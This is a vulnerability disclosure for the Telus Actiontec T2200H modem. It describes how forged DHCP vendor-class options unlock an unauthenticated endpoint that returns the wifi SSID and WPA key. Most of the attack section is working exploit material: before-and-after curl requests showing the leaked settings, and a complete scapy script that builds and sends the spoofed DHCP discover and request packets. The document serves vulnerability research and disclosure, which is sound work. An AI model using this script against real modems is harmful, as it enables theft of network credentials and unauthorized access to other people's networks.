Telus Actiontec T2200H with firmware T2200H-31.128L.08 suffers from a credential disclosure vulnerability. An HTTP interface used by wireless extenders to pull the modem's wifi settings uses DHCP client-provided option values to restrict access to this API. By forging DHCP packets, one can access this interface without any authentication and obtain details such as SSID name, encryption type, and WPA/WEP keys. This can be leveraged if an attacker is on the same Layer 2 network as the modem.
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### Device Details
Discovered By: Andrew Klaus (andrew@aklaus.ca)
Vendor: Actiontec (Telus Branded, but may work on others)
Model: T2200H (but very likely affecting other models of theirs)
Affected Firmware: T2200H-31.128L.08
Device Manual:
http://static.telus.com/common/cms/files/internet/telus_t2200h_user_manu
al.pdf
Reported: July 2018
CVE: Not needed since update is pushed by the vendor.
The Telus Actiontec T2200H is bonded VDSL2 modem which incorporates 2
VDSL2 bonded links with a built-in firewall, bridge mode,
802.11agn wireless, etc.
### Summary of Findings
An HTTP interface used by wireless extenders to pull the modem's wifi
settings uses DHCP client-provided option values to restrict access to
this API. By forging DHCP packets, one can access this interface without
any authentication and obtain details such as SSID name, encryption
type, and WPA/WEP keys. This can be leveraged if an attacker is on the
same Layer 2 network as the modem.
### Pre-Attack
Attempting to grab the wirelesssettings.xml file results in no data
being returned:
$ curl -ik https://192.168.1.254/wirelesssettings.xml
HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Sun, 29 Jul 2018 19:43:28 GMT
Content-Type: text/xml
Connection: close
### Post-Attack
After the Python PoC has been executed, we can run the same query, but
can now pull back full details on the wireless settings including
password set.
$ sudo python dhcp.py
.
Sent 1 packets.
.
Sent 1 packets.
$ curl -ik https://192.168.1.254/wirelesssettings.xml
HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Sun, 29 Jul 2018 19:49:44 GMT
Content-Type: text/xml
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<cpe>
<cpe_wireless_settings>
<wireless_status>0</wireless_status>
<wireless_security>WPA2</wireless_security>
<current_key>%PASSWORD%</current_key>
<wpa_cypher>aes</wpa_cypher>
<ssid>%SSID_NAME%</ssid>
<broadcast_ssid>Yes</broadcast_ssid>
<channel>0</channel>
<wireless_mode>Compatibility</wireless_mode>
<Control_Channel>Auto</Control_Channel>
<Control_Width>20M</Control_Width>
<MSDU>Disabled</MSDU>
<MPDU>Enabled</MPDU>
<WMM>Enabled</WMM>
<WMMPS>Enabled</WMMPS>
<PowerLevel>100%</PowerLevel>
<error_no>0</error_no>
<error_desc>No Error</error_desc>
</cpe_wireless_settings>
</cpe>
### PoC Code
# Replace br0 with your actual interface name.
from scapy.all import *
spoof_int = 'br0'
fam,hw = get_if_raw_hwaddr(spoof_int)
mac = get_if_hwaddr(spoof_int)
curr_ip = get_if_addr(spoof_int)
pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff")
pkt /= IP(src="0.0.0.0", dst="255.255.255.255")
pkt /= UDP(sport=68, dport=67)
pkt /= BOOTP(op=1, chaddr=hw)
pkt /= DHCP(options=[("message-type", "discover"),
("hostname", b'anything'),
("vendor_class_id", b'VENDOR_ID ACTIONTEC_WP'),
("vendor_class_id", b'PRODUCT_TYPE WEB6000Q'),
("vendor_class_id", b'VERSION 1.1.02.22'),
("vendor_class_id", b'PROTOCOL 1.0'),
("server_id", "192.168.1.254"),
"end"])
sendp(pkt, iface=spoof_int)
pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff")
pkt /= IP(src="0.0.0.0", dst="255.255.255.255")
pkt /= UDP(sport=68, dport=67)
pkt /= BOOTP(op=1, chaddr=hw)
pkt /= DHCP(options=[("message-type", "request"),
("hostname", b'anything'),
("requested_addr", curr_ip),
("vendor_class_id", b'VENDOR_ID ACTIONTEC_WP'),
("vendor_class_id", b'PRODUCT_TYPE WEB6000Q'),
("vendor_class_id", b'VERSION 1.1.02.22'),
("vendor_class_id", b'PROTOCOL 1.0'),
("server_id", "192.168.1.254"),
"end"])
sendp(pkt, iface=spoof_int)
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